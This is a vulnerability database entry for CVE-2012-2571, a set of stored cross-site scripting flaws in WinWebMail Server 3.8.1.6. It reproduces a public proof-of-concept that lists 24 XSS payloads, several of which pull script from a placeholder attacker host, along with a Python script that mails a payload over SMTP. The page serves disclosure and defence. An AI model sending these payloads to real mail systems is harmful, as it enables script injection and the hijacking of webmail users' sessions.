CVE-2012-2571
Description
Multiple cross-site scripting (XSS) vulnerabilities in WinWebMail Server 3.8.1.6 allow remote attackers to inject arbitrary web script or HTML via an e-mail message body with (1) a SCRIPT element, (2) a crafted Cascading Style Sheets (CSS) expression property, (3) a CSS expression property in the STYLE attribute of an arbitrary element, (4) a crafted SRC attribute of an IFRAME element, or (5) UTF-7 text in an HTTP-EQUIV="CONTENT-TYPE" META element.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
winwebmail server 3.8.1.6 - Persistent Cross-Site Scripting
#!/usr/bin/python
'''
Author: loneferret of Offensive Security
Product: WinWebMail Server
Version: 3.8.1.6
Vendor Site: http://www.winwebmail.net
Software Download: http://www.winwebmail.net/email-server-download.html
Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response from vendor
08 Aug 2012: Public Disclosure
Installed On: Windows Server 2003 SP2
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9
Injection Point: Body
Injection Payload(s):
1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
2: <SCRIPT>alert('XSS')</SCRIPT>
3: <SCRIPT SRC=http://attacker/xss.js></SCRIPT>
4: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
5: <DIV STYLE="width: expression(alert('XSS'));">
6: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
7: exp/*<XSS STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
8: <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
9: <XSS STYLE="xss:expression(alert('XSS'))">
10: <!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]--
11: <SCRIPT SRC="http://attacker/xss.jpg"></SCRIPT>
12: <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
13: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
14: <SCRIPT/XSS SRC="http://attacker/xss.js"></SCRIPT>
15: <<SCRIPT>alert("XSS");//<</SCRIPT>
16: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
17: <SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
18: <SCRIPT a=">" SRC="http://attacker/xss.js"></SCRIPT>
19: <SCRIPT ="blah" SRC="http://attacker/xss.js"></SCRIPT>
20: <SCRIPT a="blah" '' SRC="http://attacker/xss.js"></SCRIPT>
21: <SCRIPT "a='>'" SRC="http://attacker/xss.js"></SCRIPT>
22: <SCRIPT a=`>` SRC="http://attacker/xss.js"></SCRIPT>
23: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://attacker/xss.js"></SCRIPT>
24: <SCRIPT a=">'>" SRC="http://attacker/xss.js"></SCRIPT>
'''
import smtplib, urllib2
payload = """<SCRIPT a=`>` SRC="http://attacker/xss.js"></SCRIPT>"""
def sendMail(dstemail, frmemail, smtpsrv, username, password):
msg = "From: hacker@offsec.local\n"
msg += "To: victim@victim.local\n"
msg += 'Date: Today\r\n'
msg += "Subject: Offensive Security\n"
msg += "Content-type: text/html\n\n"
msg += "XSS" + payload + "\r\n\r\n"
server = smtplib.SMTP(smtpsrv)
server.login(username,password)
try:
server.sendmail(frmemail, dstemail, msg)
except Exception, e:
print "[-] Failed to send email:"
print "[*] " + str(e)
server.quit()
username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv = "172.16.84.171"
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| winwebmail | winwebmail_server | 3.8.1.6 | |
References
CWEs
CWE-79
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.